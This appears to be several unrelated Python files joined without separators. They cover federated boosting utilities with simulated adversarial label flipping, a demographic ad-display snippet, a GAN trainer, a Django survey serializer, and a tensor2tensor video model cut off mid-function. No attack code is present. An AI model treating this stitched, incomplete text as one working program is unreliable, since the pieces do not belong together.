import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import numpy as np
import torchvision.datasets as datasets
from torch.utils.data import Dataset, DataLoader
import torchvision.transforms.functional as vF

DATASETS = {
    "cifar": datasets.CIFAR10,
    "mnist": datasets.MNIST,
    "emnist": datasets.EMNIST
}

def get_flat_grad_from(grad):
    flat_grad = torch.cat([torch.flatten(p) for p in grad])
    return flat_grad

def set_flat_params_to(model, flat_params):
    prev_ind = 0
    for param in model:
        flat_size = int(np.prod(list(param.size())))
        param.data.copy_(
            flat_params[prev_ind:prev_ind + flat_size].view(param.size()))
        prev_ind += flat_size

def average_grad(grads):
    # flatten the grads to tensors
    flat_grads = []
    for grad in grads:
        flat_grads.append(get_flat_grad_from(grad))

    average_flat_grad = torch.mean(torch.stack(flat_grads), dim=0)
    grad_0 = grads[0]
    average_grad_a = []
    for p in grad_0:
        average_grad_a.append(torch.zeros_like(p))

    set_flat_params_to(average_grad_a, average_flat_grad)

    # average_grad_b = []
    # for i, p in enumerate(grad_0):
    #     flat_average_grad_p = torch.mean(torch.stack([torch.flatten(grad[i]) for grad in grads]), dim=0)
    #     average_grad_b.append(flat_average_grad_p.view_as(p))

    return average_grad_a

def average_functions(models):
    average_model = models[0]
    sds = [model.state_dict() for model in models]
    average_sd = sds[0]
    for key in sds[0]:
        average_sd[key] = torch.mean(torch.stack([sd[key] for sd in sds]), dim=0)
    average_model.load_state_dict(average_sd)
    return average_model

def average_function_ensembles(function_ensembles):
    new_function_ensemble = FunctionEnsemble(empty=True, device=function_ensembles[0].device)
    n_ensembles = len(function_ensembles)
    for ensemble in function_ensembles:
        new_function_ensemble.add_ensemble(ensemble)
    new_function_ensemble.rescale_weights(1. / n_ensembles)
    return new_function_ensemble

def merge_function_ensembles(function_ensembles):
    new_function_ensemble = FunctionEnsemble(empty=True, device=function_ensembles[0].device)
    for ensemble in function_ensembles:
        for function, weight in zip(ensemble.function_list, ensemble.weight_list):
            new_function_ensemble.add_function(function, weight)
    return new_function_ensemble

class FunctionEnsemble(nn.Module):
    def __init__(self, get_init_function=None, device='cuda', empty=False):
        super(FunctionEnsemble, self).__init__()
        if not empty and get_init_function is None:
            raise NotImplementedError
        self.function_list = [] if empty is True else [get_init_function().to(device)]
        self.weight_list = [] if empty is True else [torch.tensor([0.0], device=device)]
        self.device = device

    def forward(self, x):
        y = torch.tensor((0.0), device=self.device)
        for (function, weight) in zip(self.function_list, self.weight_list):
            y = y + weight * function(x)

        return y

    def add_function(self, f, weight):
        self.function_list.append(f)
        self.weight_list.append(weight)

    def add_ensemble(self, ensemble):
        self.function_list = self.function_list + ensemble.function_list
        self.weight_list = self.weight_list + ensemble.weight_list

    def rescale_weights(self, factor):
        self.weight_list = [weight * factor for weight in self.weight_list]

    def is_empty(self):
        return True if len(self.function_list) == 0 else False

    def to(self, device):
        new_ensemble = FunctionEnsemble(device=device, empty=True)
        new_ensemble.function_list = [function.to(device) for function in self.function_list]
        new_ensemble.weight_list = [weight.to(device) for weight in self.weight_list]
        return new_ensemble

class WeakLearnerConv(nn.Module):
    def __init__(self, height, width, n_class=10, n_channels=3, hidden_size=(384, 192), device='cuda'):
        # super(WeakLearnerConv, self).__init__()
        # self.device = device
        # assert (width == 32 and height == 32)
        # self.activation = F.leaky_relu
        # self.conv1 = nn.Conv2d(n_channels, 6, 5)
        # self.pool = nn.MaxPool2d(2, 2)
        # self.conv2 = nn.Conv2d(6, 16, 5)
        # self.fc1 = nn.Linear(16 * 5 * 5, hidden_size[0])
        # self.fc2 = nn.Linear(hidden_size[0], hidden_size[1])
        # self.fc3 = nn.Linear(hidden_size[1], n_class)
        #
        # self.requires_grad_(False)
        # self.to(device)
        # self.apply(weights_init)

        super(WeakLearnerConv, self).__init__()
        self.device = device
        assert (width == 32 and height == 32)
        self.activation = F.leaky_relu
        self.conv1 = nn.Conv2d(n_channels, 64, 5)
        self.pool = nn.MaxPool2d(2, 2)
        self.conv2 = nn.Conv2d(64, 64, 5)
        self.fc1 = nn.Linear(64 * 5 * 5, hidden_size[0])
        self.fc2 = nn.Linear(hidden_size[0], hidden_size[1])
        self.fc3 = nn.Linear(hidden_size[1], n_class)

        self.requires_grad_(False)
        self.to(device)

    # def forward(self, x):
    #     x = self.pool(self.activation(self.conv1(x)))
    #     x = self.pool(self.activation(self.conv2(x)))
    #     x = x.view(-1, 16 * 5 * 5)
    #     x = self.activation(self.fc1(x))
    #     x = self.activation(self.fc2(x))
    #     x = self.fc3(x)
    #     return x

    def forward(self, x):
        x = self.pool(self.activation(self.conv1(x)))
        x = self.pool(self.activation(self.conv2(x)))
        x = x.view(x.shape[0], -1)
        x = self.activation(self.fc1(x))
        x = self.activation(self.fc2(x))
        x = self.fc3(x)
        return x

class WeakLearnerMLP(nn.Module):
    def __init__(self, height, width, n_class, n_channel=1, hidden_size=(128, 128), device='cuda'):
        super(WeakLearnerMLP, self).__init__()
        self.device = device
        self.height = height
        self.width = width
        self.n_class = n_class
        self.n_channel = n_channel
        self.fc1 = nn.Linear(width * height * n_channel, hidden_size[0])
        nn.init.normal_(self.fc1.weight.data, 0.0, 1 / self.width / self.height / self.n_channel)
        # linear layer (n_hidden -> hidden_2)
        self.fc2 = nn.Linear(hidden_size[0], hidden_size[1])
        nn.init.normal_(self.fc2.weight.data, 0.0, 1 / hidden_size[0])
        # linear layer (n_hidden -> 10)
        self.fc3 = nn.Linear(hidden_size[1], n_class)
        nn.init.normal_(self.fc3.weight.data, 0.0, 1 / hidden_size[1])
        # dropout layer (p=0.2)
        # dropout prevents overfitting of data
        # self.dropout = nn.Dropout(0.2)
        self.activation = F.leaky_relu

        self.to(self.device)
        self.requires_grad_(False)
        # self.apply(weights_init)

    def forward(self, x):
        # flatten image input
        x = x.view(-1, self.height * self.width * self.n_channel)
        # add hidden layer, with relu activation function
        x = self.activation(self.fc1(x))
        x = self.activation(self.fc2(x))
        x = self.activation(self.fc3(x))
        return x

def weak_oracle(target, data, lr, oracle_steps, init_weak_learner, mb_size=500):
    g = init_weak_learner
    MSEloss = nn.MSELoss()

    target = target.detach()
    # target = Dx_loss(f(data), label)
    # print(torch.norm(target)/(1e-8 + torch.norm(residual)))
    # Dx_loss(f(data), label) is the subgradient
    g.requires_grad_(True)
    # index = torch.tensor([0, 1, 2, 3, 4, 5])
    optimizer = optim.Adam(g.parameters(), lr=lr)
    # optimizer = optim.SGD(g.parameters(), lr=lr, momentum=.9, weight_decay=1.e-4)
    num_epochs = oracle_steps * mb_size // data.shape[0] + 1
    for epoch in range(num_epochs):
        shuffle_index = torch.randperm(data.shape[0])
        data, target = data[shuffle_index], target[shuffle_index]
        _p = 0
        while _p + mb_size <= data.shape[0]:
            optimizer.zero_grad()
            loss = MSEloss(target[_p: _p+mb_size], g(data[_p: _p+mb_size]))
            loss.backward()
            optimizer.step()
            _p += mb_size

    # print(MSEloss(target, g(data))/torch.norm(target))
    # print(torch.norm(target))
    g.requires_grad_(False)
    if data.shape[0] <= 5000:
        g_data = g(data)
    else: # make sure the the batch size is no more than 5000
        num_chunk = data.shape[0] // 5000 + 1
        g_data = torch.cat([g(_d) for _d in torch.chunk(data, num_chunk)])
    residual = target - g_data
    # print(torch.norm(residual)/torch.norm(target))
    # print(torch.norm(g_data)/torch.norm(target))
    # print(torch.norm(residual[index])/torch.norm(target[index]))
    # print(torch.norm(g_data[index])/torch.norm(target[index]))

    return g, residual, g_data

def distill_oracle(target, data, lr, oracle_steps, init_weak_learner, mb_size=500):
    g = init_weak_learner
    MSEloss = nn.MSELoss()

    target = target.detach()
    g.requires_grad_(True)
    # index = torch.tensor([0, 1, 2, 3, 4, 5])
    optimizer = optim.Adam(g.parameters(), lr=lr)
    # optimizer = optim.SGD(g.parameters(), lr=lr, momentum=.9, weight_decay=1.e-4)
    num_epochs = oracle_steps * mb_size // data.shape[0] + 1
    for epoch in range(num_epochs):
        shuffle_index = torch.randperm(data.shape[0])
        data, target = data[shuffle_index], target[shuffle_index]
        _p = 0
        while _p + mb_size <= data.shape[0]:
            optimizer.zero_grad()
            loss = MSEloss(target[_p: _p+mb_size], g(data[_p: _p+mb_size]))
            loss.backward()
            optimizer.step()
            _p += mb_size

    del loss
    resi_norm = torch.mean(torch.sum((target - g(data))**2, dim=(1,)))
    print(f"residual norm of the distillation oracle {resi_norm}")
    return g

class FWeakOracle:
    def __init__(self, workers, n_rounds=20, local_sgd_step_size=1e-3):
        self.n_rounds = n_rounds  # number of communication rounds for every federated oracle query
        self.workers = workers
        self.n_workers = len(workers)
        self.local_sgd_step_size = local_sgd_step_size

    def query(self, f_global, init_weak_learner):
        g = init_weak_learner
        for worker in self.workers:
            worker.compute_subgradient(f_global)

        for i in range(self.n_rounds):
            lr = self.local_sgd_step_size / (0.1 * i + 1)
            g = average_functions([worker.local_sgd(g, lr) for worker in self.workers])

        for worker in self.workers:
            worker.update_residual(g)

        print(torch.max(torch.stack([torch.norm(worker.residual) for worker in self.workers])).item())

        return g

def get_step_size_scheme(n_round, step_size_0, local_steps, p=1):
    def step_size_scheme(k):
        # return step_size_0/((n_round+1) * local_steps + k + 1)**p
        return step_size_0 / ((n_round + 1) * local_steps + k + 1) ** p

    return step_size_scheme

def get_init_weak_learner(height, width, n_channel, n_class, hidden_size, type, device='cuda'):
    if type == "MLP":
        return WeakLearnerMLP(height=height, width=width, n_class=n_class, hidden_size=hidden_size, device=device)
    elif type == "Conv":
        return WeakLearnerConv(height=height, width=width, n_class=n_class, n_channels=n_channel,
                               hidden_size=hidden_size, device=device)
    else:
        raise NotImplementedError("Unknown weak learner type")

def data_partition(data, label, n_workers, homo_ratio):
    '''

    :param data:
    :param label:
    :param n_workers:
    :param homo_ratio: the portion of data to be allocated iid among $n_workers$ workers
    :param n_augment: augment the data set
    :return: lists of chunked data and labels
    '''

    if n_workers == 1:
        return [data], [label]

    assert data.shape[0] == label.shape[0]

    if n_workers == 1:
        return [data], [label]

    n_data = data.shape[0]

    n_homo_data = int(n_data * homo_ratio)

    n_homo_data = n_homo_data - n_homo_data % n_workers
    n_data = n_data - n_data % n_workers

    if n_homo_data > 0:
        data_homo, label_homo = data[0:n_homo_data], label[0:n_homo_data]
        data_homo_list, label_homo_list = data_homo.chunk(n_workers), label_homo.chunk(n_workers)

    if n_homo_data < n_data:
        data_hetero, label_hetero = data[n_homo_data:n_data], label[n_homo_data:n_data]
        label_hetero_sorted, index = torch.sort(label_hetero)
        data_hetero_sorted = data_hetero[index]

        data_hetero_list, label_hetero_list = data_hetero_sorted.chunk(n_workers), label_hetero_sorted.chunk(n_workers)

    if 0 < n_homo_data < n_data:
        data_list = [torch.cat([data_homo, data_hetero], dim=0) for data_homo, data_hetero in
                     zip(data_homo_list, data_hetero_list)]
        label_list = [torch.cat([label_homo, label_hetero], dim=0) for label_homo, label_hetero in
                      zip(label_homo_list, label_hetero_list)]
    elif n_homo_data < n_data:
        data_list = data_hetero_list
        label_list = label_hetero_list
    else:
        data_list = data_homo_list
        label_list = label_homo_list

    return data_list, label_list

def make_dataloaders(data_list, label_list, transforms=None):
    dss = make_datasets(data_list, label_list, transforms)
    dataloaders = [DataLoader(ds, batch_size=64, shuffle=True, num_workers=4) for ds in dss]
    return dataloaders

def make_adv_label(label_list, n_classes):
    # For machine i, define r = i%n. All data points on machine i that has label r is placed with label (r+1)%n_classes
    # n_workers = len(label_list)
    n_changed = 0
    n_total = 0
    new_label_list = []
    for i, label in enumerate(label_list):
        n_total += label.shape[0]
        r1 = i % n_classes
        index_1 = (label == r1).nonzero()
        n_changed += index_1.shape[0]
        r2 = (i + 1) % n_classes
        index_2 = (label == r2).nonzero()
        n_changed += index_2.shape[0]
        r1_new = (r1 + 1) % n_classes
        r2_new = (r2 + 1) % n_classes
        label[index_1] = r1_new
        label[index_2] = r2_new
        new_label_list.append(label)

    print(n_changed / n_total)
    return new_label_list

def load_data(args, hidden_size, device, augment_data=False):
    dataset_handle = DATASETS[args.dataset]

    if args.dataset == "mnist":
        dataset = dataset_handle(root='datasets/' + args.dataset, download=True)
        dataset_test = dataset_handle(root='datasets/' + args.dataset, train=False, download=True)
        data, label = dataset.train_data.to(dtype=torch.float32, device=device) / 255.0, \
                      dataset.train_labels.to(device=device)
        data = (data - torch.tensor(0.1307, device=device)) / torch.tensor(0.3081, device=device)
        assert (data.shape[0] == label.shape[0])
        (n_data, height, width) = data.shape
        n_class = 10

        if augment_data:
            data_h = vF.hflip(data)
            data = torch.cat([data, data_h], dim=0)
            label = torch.cat([label, label], dim=0)

        n_channel = 1
        rand_index = torch.randperm(data.shape[0])
        data, label = data[rand_index], label[rand_index]
        get_init_function = lambda: get_init_weak_learner(height, width, n_channel, n_class,
                                                          hidden_size=hidden_size, type="MLP", device=device)

        data_test, label_test = dataset_test.train_data.to(dtype=torch.float32, device=device) / 255.0, \
                                dataset_test.train_labels.to(device=device)
        data_test = (data_test - torch.tensor(0.1307, device=device)) / torch.tensor(0.3081, device=device)
        assert (data_test.shape[0] == label_test.shape[0])
        del rand_index

    elif args.dataset == "emnist":
        dataset = dataset_handle(root='datasets/' + args.dataset, split="byclass", download=True)
        dataset_test = dataset_handle(root='datasets/' + args.dataset, train=False, split="byclass", download=True)
        data, label = dataset.train_data.to(dtype=torch.float32, device=device) / 255.0, \
                      dataset.train_labels.to(device=device)
        data = (data - torch.tensor(0.1307, device=device)) / torch.tensor(0.3081, device=device)
        assert (data.shape[0] == label.shape[0])
        (n_data, height, width) = data.shape
        n_class = torch.unique(label).shape[0]

        if augment_data:
            data_h = vF.hflip(data)
            data = torch.cat([data, data_h], dim=0)
            label = torch.cat([label, label], dim=0)

        n_channel = 1
        rand_index = torch.randperm(data.shape[0])
        data, label = data[rand_index], label[rand_index]
        get_init_function = lambda: get_init_weak_learner(height, width, n_channel, n_class,
                                                          hidden_size=hidden_size, type="MLP", device=device)

        data_test, label_test = dataset_test.train_data.to(dtype=torch.float32, device=device) / 255.0, \
                                dataset_test.train_labels.to(device=device)
        data_test = (data_test - torch.tensor(0.1307, device=device)) / torch.tensor(0.3081, device=device)
        assert (data_test.shape[0] == label_test.shape[0])
        del rand_index

    elif args.dataset == "cifar":
        dataset = dataset_handle(root='datasets/' + args.dataset, download=True)
        dataset_test = dataset_handle(root='datasets/' + args.dataset, train=False, download=True)
        # processing training data
        data, label = torch.tensor(dataset.data, dtype=torch.float32, device=device) / 255.0, \
                      torch.tensor(dataset.targets, device=device)
        # normalize
        data = (data - torch.tensor((0.4914, 0.4822, 0.4465), device=device)) / torch.tensor((0.2023, 0.1994, 0.2010), device=device)
        data = data.permute(0, 3, 1, 2)  # from (H, W, C) to (C, H, W)

        # processing testing data
        data_test, label_test = torch.tensor(dataset_test.data, dtype=torch.float32, device=device) / 255.0, \
                                torch.tensor(dataset_test.targets, device=device)
        # normalize
        data_test = (data_test - torch.tensor((0.4914, 0.4822, 0.4465), device=device)) / torch.tensor((0.2023, 0.1994, 0.2010),
                                                                                device=device)
        data_test = data_test.permute(0, 3, 1, 2)  # from (H, W, C) to (C, H, W)

        assert (data.shape[0] == label.shape[0])
        (n_data, n_channel, height, width) = data.shape
        n_class = 10
        if augment_data:
            data_h = vF.hflip(data)
            data = torch.cat([data, data_h], dim=0)
            label = torch.cat([label, label], dim=0)

        rand_index = torch.randperm(data.shape[0])
        data, label = data[rand_index], label[rand_index]
        get_init_function = lambda: get_init_weak_learner(height, width, n_channel, n_class,
                                                          hidden_size=hidden_size, type="Conv", device=device)

        del rand_index
    else:
        raise NotImplementedError

    return data, label, data_test, label_test, n_class, get_init_function

def chunks(lst, n):
    """Yield successive n-sized chunks from lst."""
    for i in range(0, len(lst), n):
        yield lst[i:min(len(lst), i + n)]

def is_nan(x):
    return x != x

def make_dataset(data, label, transform):
    class LocalDataset(Dataset):
        def __init__(self, data, label, transform=None):
            self.data = data
            self.label = label
            self.transform = transform
            assert data.shape[0] == label.shape[0]

        def __len__(self):
            return self.data.shape[0]

        def __getitem__(self, item):
            sample = self.data[item]
            if self.transform:
                sample = self.transform(sample)
            return sample, self.label[item]

    return LocalDataset(data, label)

def make_datasets(data_list, label_list, transform=None):
    return [make_dataset(data, label, transform) for data, label in zip(data_list, label_list)]


import cv2

# demographic dict

age_to_ad = {
    "(0-3) Male":"ads/one.jpg",
    "(4-7) Male":"ads/m_two.jpeg",
    "(8-14) Male":"ads/m_three.jpg",
    "(15-24) Male":"ads/m_four.jpg",
    "(25-37) Male":"ads/m_five.jpg",
    "(38-47) Male":"ads/m_six.jpg",
    "(48-59) Male":"ads/m_seven.jpg",
    "(60-100) Male":"ads/m_eight.jpg",
    "(0-3) Female":"ads/one.jpg",
    "(4-7) Female":"ads/w_two.jpeg",
    "(8-14) Female":"ads/w_three.jpg",
    "(15-24) Female":"ads/w_four.jpg",
    "(25-37) Female":"ads/w_five.jpg",
    "(38-47) Female":"ads/w_six.jpg",
    "(48-59) Female":"ads/w_seven.jpg",
    "(60-100) Female":"ads/w_eight.jpg"
}

def show_add(age, gender):

    # show image from the dict
    img = cv2.imread(age_to_ad[age +" " + gender])
    cv2.imshow("image", img)

    # wait so it doesn't spam
    cv2.waitKey(0)


#pylint: disable=C0103, C0301
"""
Trains the a model given the dimesntions of traingin images,
epochs and latent size
"""
__author__ = "Noupin"

#Third Party Imports
import datetime
from statistics import mean
from timeit import default_timer as timer
import tensorflow as tf
import numpy as np
import wandb

#First Party Imports
import utilities
from constants import Constants
from preprocess import Preprocess
from tunableVariables import Tunable

wandb.init(project="hrgan")

class Train():
    """
    Combination of training functions to use in other files
    """

    def __init__(self, preprocessVars):
        """
        Initialization of all variables needed
        """

        self.fullXRes = Tunable.fullIMGXRes
        self.fullYRes = Tunable.fullIMGYRes
        self.chunkXRes = Tunable.chunkIMGXRes
        self.chunkYRes = Tunable.chunkIMGYRes
        self.chunks = Tunable.chunks

        self.EPOCHS = Tunable.totalEPOCHS
        self.latentSize = Tunable.latentSize

        self.trainDataset = preprocessVars.trainDataset
        self.trainingChunk = preprocessVars.trainingChunk

        self.epochGenLoss = [2]
        self.epochDiscLoss = [0]
        self.totalGenLoss = [2]
        self.totalDiscLoss = [0]

        self.discriminatorOptimizer = tf.optimizers.Adam(1e-5)
        self.generatorOptimizer = tf.optimizers.Adam(1e-4)

        self.discriminatorModel = None
        self.generatorModel = None

        self.makeDiscriminatorModel()
        self.makeGeneratorModel()

    def makeDiscriminatorModel(self):
        """
        Makes the discriminator model
        """

        self.discriminatorModel = tf.keras.Sequential()
        self.discriminatorModel.add(tf.keras.layers.Conv2D(Tunable.convFilters, (3, 3), padding="same", input_shape=(self.chunkXRes, self.chunkYRes, Tunable.colorChannels)))
        self.discriminatorModel.add(tf.keras.layers.LeakyReLU())
        self.discriminatorModel.add(tf.keras.layers.Dropout(Tunable.dropout))

        self.discriminatorModel.add(tf.keras.layers.Dense(128, activation="relu"))
        self.discriminatorModel.add(tf.keras.layers.Dropout(Tunable.dropout))

        self.discriminatorModel.add(tf.keras.layers.Flatten())
        self.discriminatorModel.add(tf.keras.layers.Dense(1))

    def makeGeneratorModel(self):
        """
        Making the generator model
        """

        self.generatorModel = tf.keras.Sequential()
        self.generatorModel.add(tf.keras.layers.Dense(int(self.chunkXRes/4)*int(self.chunkYRes/4)*256, use_bias=False, input_shape=(self.latentSize,)))
        self.generatorModel.add(tf.keras.layers.BatchNormalization())
        self.generatorModel.add(tf.keras.layers.LeakyReLU())

        self.generatorModel.add(tf.keras.layers.Reshape((int(self.chunkXRes/4), int(self.chunkYRes/4), 256)))

        self.generatorModel.add(tf.keras.layers.Conv2DTranspose(128, (3, 3), padding="same", use_bias=False))
        self.generatorModel.add(tf.keras.layers.BatchNormalization())
        self.generatorModel.add(tf.keras.layers.LeakyReLU())

        self.generatorModel.add(tf.keras.layers.Conv2DTranspose(64, (3, 3), strides=(2, 2), padding="same", use_bias=False))
        self.generatorModel.add(tf.keras.layers.BatchNormalization())
        self.generatorModel.add(tf.keras.layers.LeakyReLU())

        self.generatorModel.add(tf.keras.layers.Conv2DTranspose(Tunable.colorChannels, (3, 3), strides=(2, 2), padding="same", use_bias=False, activation="tanh"))

    def train(self):
        """
        Loops through the data and feeds the data to trainStep
        BATCH_SIZE at a time
        """

        print("Training Started.")
        chunkStart = timer()
        latentPoint = 0
        for epoch in range(self.EPOCHS):
            self.epochDiscLoss.clear()
            self.epochGenLoss.clear()
            self.epochDiscLoss.append(0)
            self.epochGenLoss.append(2)
            start = timer()
            for images in self.trainDataset:
                self.trainStep(images, np.loadtxt(fr"C:\Coding\Python\ML\GAN\HR_GAN\latentSpace\noise{epoch}.txt"))
                latentPoint += 1
            end = timer()
            print(f"Chunk Time Left: {str(datetime.timedelta(seconds=int((self.EPOCHS-(epoch+1))*(end-start))))}")
            print(f"Chunk {self.trainingChunk+1}, Epoch {epoch+1}/{self.EPOCHS} at {self.chunkXRes}x{self.chunkYRes} finished in: {(end-start):.4f} sec")
            print(f"The mean generator loss for epoch {epoch+1} is {mean(self.epochGenLoss)}.")
            print(f"The mean discriminator loss for epoch {epoch+1} is {mean(self.epochDiscLoss)}.\n")
            wandb.log({"genLoss": mean(self.epochGenLoss), "discLoss": mean(self.epochDiscLoss), "epoch": epoch+1})
        chunkEnd = timer()
        print(f"Chunk {self.trainingChunk+1} finished in: {str(datetime.timedelta(seconds=int(chunkEnd-chunkStart)))}")
        print(f"The total mean generator loss for chunk {self.trainingChunk+1} is {mean(self.totalGenLoss)}.")
        print(f"The total mean discriminator loss for chunk {self.trainingChunk+1} is {mean(self.totalDiscLoss)}.\n\n")

    def trainStep(self, images, fakeImageNoise):
        """
        Getting gradients and applying the corrections to the network
        """

        with tf.GradientTape() as genTape, tf.GradientTape() as discTape:
            generatedImages = self.generatorModel(fakeImageNoise)
            realOutput = self.discriminatorModel(images)
            fakeOutput = self.discriminatorModel(generatedImages)
            #Getting gradient or loss
            genLoss = utilities.getGeneratorLoss(fakeOutput)
            discLoss = utilities.getDiscriminatorLoss(realOutput, fakeOutput)
            #Find gradient
            gradientsOfGen = genTape.gradient(genLoss, self.generatorModel.trainable_variables)
            gradientsOfDisc = discTape.gradient(discLoss, self.discriminatorModel.trainable_variables)
            #Using optimizer
            self.generatorOptimizer.apply_gradients(zip(gradientsOfGen, self.generatorModel.trainable_variables))
            self.discriminatorOptimizer.apply_gradients(zip(gradientsOfDisc, self.discriminatorModel.trainable_variables))

            self.epochDiscLoss.append(np.mean(discLoss))
            self.epochGenLoss.append(np.mean(genLoss))
            self.totalDiscLoss.append(np.mean(discLoss))
            self.totalGenLoss.append(np.mean(genLoss))

    def main(self):
        """
        Saving the generator and discriminator models aswell as
        checking if the training for all chunks is finished to generate
        and show the final images.
        """

        fullStart = timer()
        self.train()
        self.discriminatorModel.save(fr"C:\Coding\Models\ganModels\HighRes\DISC\chunk{self.trainingChunk+1}of{self.chunks}"+
                                     fr"landscapeDISC{self.fullXRes}x{self.fullYRes}res-{self.EPOCHS}epochs-{self.latentSize}latent.model")
        self.generatorModel.save(fr"C:\Coding\Models\ganModels\HighRes\GEN\chunk{self.trainingChunk+1}of{self.chunks}"+
                                 fr"landscapeGEN{self.fullXRes}x{self.fullYRes}res-{self.EPOCHS}epochs-{self.latentSize}latent.model")
        fullStop = timer()
        print(f"Training {self.EPOCHS} epochs finished in: {str(datetime.timedelta(seconds=int(fullStop-fullStart)))}")


from rest_framework import serializers

from apps.encuesta.models import Departamento, Encuesta
from apps.encuesta.api.serializers.general_serializers import DepartamentoSerializer, DistritoSerializer

class EncuestaSerializer(serializers.ModelSerializer):
    # departamento = serializers.StringRelatedField()
    # distrito = serializers.StringRelatedField()

    class Meta:
        model = Encuesta
        exclude = ('state', 'create_date', 'modified_date', 'delete_date')

    def to_representation(self, instance):
        return {
            'id': instance.id,
            'name': instance.name,
            'last_name': instance.last_name,
            'du': instance.du,
            #'image': instance.image if instance.image != '' else '',
            'departamento': instance.departamento.dpto if instance.departamento is not None else '' ,
            'distrito': instance.distrito.distrito if instance.distrito is not None else ''
        }


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from tensor2tensor.layers import common_attention
from tensor2tensor.layers import common_layers
from tensor2tensor.layers import common_video
from tensor2tensor.layers import discretization
from tensor2tensor.models.video import base
from tensor2tensor.models.video import basic_deterministic_params  # pylint: disable=unused-import
from tensor2tensor.utils import registry

import tensorflow.compat.v1 as tf

@registry.register_model
class NextFrameBasicDeterministic(base.NextFrameBase):
  """Basic next-frame model, may take actions and predict rewards too."""

  @property
  def is_recurrent_model(self):
    return False

  def inject_latent(self, layer, inputs, target, action):
    del inputs, target, action
    return layer, 0.0

  def middle_network(self, layer, internal_states):
    # Run a stack of convolutions.
    activation_fn = common_layers.belu
    if self.hparams.activation_fn == "relu":
      activation_fn = tf.nn.relu
    x = layer
    kernel1 = (3, 3)
    filters = common_layers.shape_list(x)[-1]
    for i in range(self.hparams.num_hidden_layers):
      with tf.variable_scope("layer%d" % i):
        y = tf.nn.dropout(x, 1.0 - self.hparams.residual_dropout)
        y = tf.layers.conv2d(y, filters, kernel1, activation=activation_fn,
                             strides=(1, 1), padding="SAME")
        if i == 0:
          x = y
        else:
          x = common_layers.layer_norm(x + y)
    return x, internal_states

  def update_internal_states_early(self, internal_states, frames):
    """Update the internal states early in the network if requested."""
    del frames
    return internal_states

  def next_frame(self, frames, actions, rewards, target_frame,
                 internal_states, video_extra):
    del rewards, video_extra

    hparams = self.hparams
    filters = hparams.hidden_size
    kernel2 = (4, 4)
    action = actions[-1]
    activation_fn = common_layers.belu
    if self.hparams.activation_fn == "relu":
      activation_fn = tf.nn.relu

    # Normalize frames.
    frames = [common_layers.standardize_images(f) for f in frames]

    # Stack the inputs.
    if internal_states is not None and hparams.concat_internal_states:
      # Use the first part of the first internal state if asked to concatenate.
      batch_size = common_layers.shape_list(frames[0])[0]
      internal_state = internal_states[0][0][:batch_size, :, :, :]
      stacked_frames = tf.concat(frames + [internal_state], axis=-1)
    else:
      stacked_frames = tf.concat(frames, axis=-1)
    inputs_shape = common_layers.shape_list(stacked_frames)

    # Update internal states early if requested.
    if hparams.concat_internal_states:
      internal_states = self.update_internal_states_early(
          internal_states, frames)

    # Using non-zero bias initializer below for edge cases of uniform inputs.
    x = tf.layers.dense(
        stacked_frames, filters, name="inputs_embed",
        bias_initializer=tf.random_normal_initializer(stddev=0.01))
    x = common_attention.add_timing_signal_nd(x)

    # Down-stride.
    layer_inputs = [x]
    for i in range(hparams.num_compress_steps):
      with tf.variable_scope("downstride%d" % i):
        layer_inputs.append(x)
        x = tf.nn.dropout(x, 1.0 - self.hparams.dropout)
        x = common_layers.make_even_size(x)
        if i < hparams.filter_double_steps:
          filters *= 2
        x = common_attention.add_timing_signal_nd(x)
        x = tf.layers.conv2d(x, filters, kernel2, activation=activation_fn,
                             strides=(2, 2), padding="SAME")
        x = common_layers.layer_norm(x)

    if self.has_actions:
      with tf.variable_scope("policy"):
        x_flat = tf.layers.flatten(x)
        policy_pred = tf.layers.dense(x_flat, self.hparams.problem.num_actions)
        value_pred = tf.layers.dense(x_flat, 1)
        value_pred = tf.squeeze(value_pred, axis=-1)
    else:
      policy_pred, value_pred = None, None

    # Add embedded action if present.
    if self.has_actions:
      x = common_video.inject_additional_input(
          x, action, "action_enc", hparams.action_injection)

    # Inject latent if present. Only for stochastic models.
    norm_target_frame = common_layers.standardize_images(target_frame)
    x, extra_loss = self.inject_latent(x, frames, norm_target_frame, action)

    x_mid = tf.reduce_mean(x, axis=[1, 2], keepdims=True)
    x, internal_states = self.middle_network(x, internal_states)

    # Up-convolve.
    layer_inputs = list(reversed(layer_inputs))
    for i in range(hparams.num_compress_steps):
      with tf.variable_scope("upstride%d" % i):
        x = tf.nn.dropout(x, 1.0 - self.hparams.dropout)
        if self.has_actions:
          x = common_video.inject_additional_input(
              x, action, "action_enc", hparams.action_injection)
        if i >= hparams.num_compress_steps - hparams.filter_double_steps:
          filters //= 2
        x = tf.layers.conv2d_transpose(
            x, filters, kernel2, activation=activation_fn,
            strides=(2, 2), padding="SAME")
        y = layer_inputs[i]
        shape = common_layers.shape_list(y)
        x = x[:, :shape[1], :shape[2], :]
        x = common_layers.layer_norm(x + y)
        x = common_attention.add_timing_signal_nd(x)

    # Cut down to original size.
    x = x[:, :inputs_shape[1], :inputs_shape[2], :]
    x_fin = tf.reduce_mean(x, axis=[1, 2], keepdims=True)
    if hparams.do_autoregressive_rnn:
      # If enabled, we predict the target frame autoregregressively using rnns.
      # To this end, the current prediciton is flattened into one long sequence
      # of sub-pixels, and so is the target frame. Each sub-pixel (RGB value,
      # from 0 to 255) is predicted with an RNN. To avoid doing as many steps
      # as width * height * channels, we only use a number of pixels back,
      # as many as hparams.autoregressive_rnn_lookback.
      with tf.variable_scope("autoregressive_rnn"):
        batch_size = common_layers.shape_list(frames[0])[0]
        # Height, width, channels and lookback are the constants we need.
        h, w = inputs_shape[1], inputs_shape[2]  # 105, 80 on Atari games
        c = hparams.problem.num_channels
        lookback = hparams.autoregressive_rnn_lookback
        assert (h * w) % lookback == 0, "Number of pixels must divide lookback."
        m = (h * w) // lookback  # Batch size multiplier for the RNN.
        # These are logits that will be used as inputs to the RNN.
        rnn_inputs = tf.layers.dense(x, c * 64, name="rnn_inputs")
        # They are of shape [batch_size, h, w, c, 64], reshaping now.
        rnn_inputs = tf.reshape(rnn_inputs, [batch_size * m, lookback * c, 64])
        # Same for the target frame.
        rnn_target = tf.reshape(target_frame, [batch_size * m, lookback * c])
        # Construct rnn starting state: flatten rnn_inputs, apply a relu layer.
        rnn_start_state = tf.nn.relu(tf.layers.dense(tf.nn.relu(
            tf.layers.flatten(rnn_inputs)), 256, name="rnn_start_state"))
        # Our RNN function API is on bits, each subpixel has 8 bits.
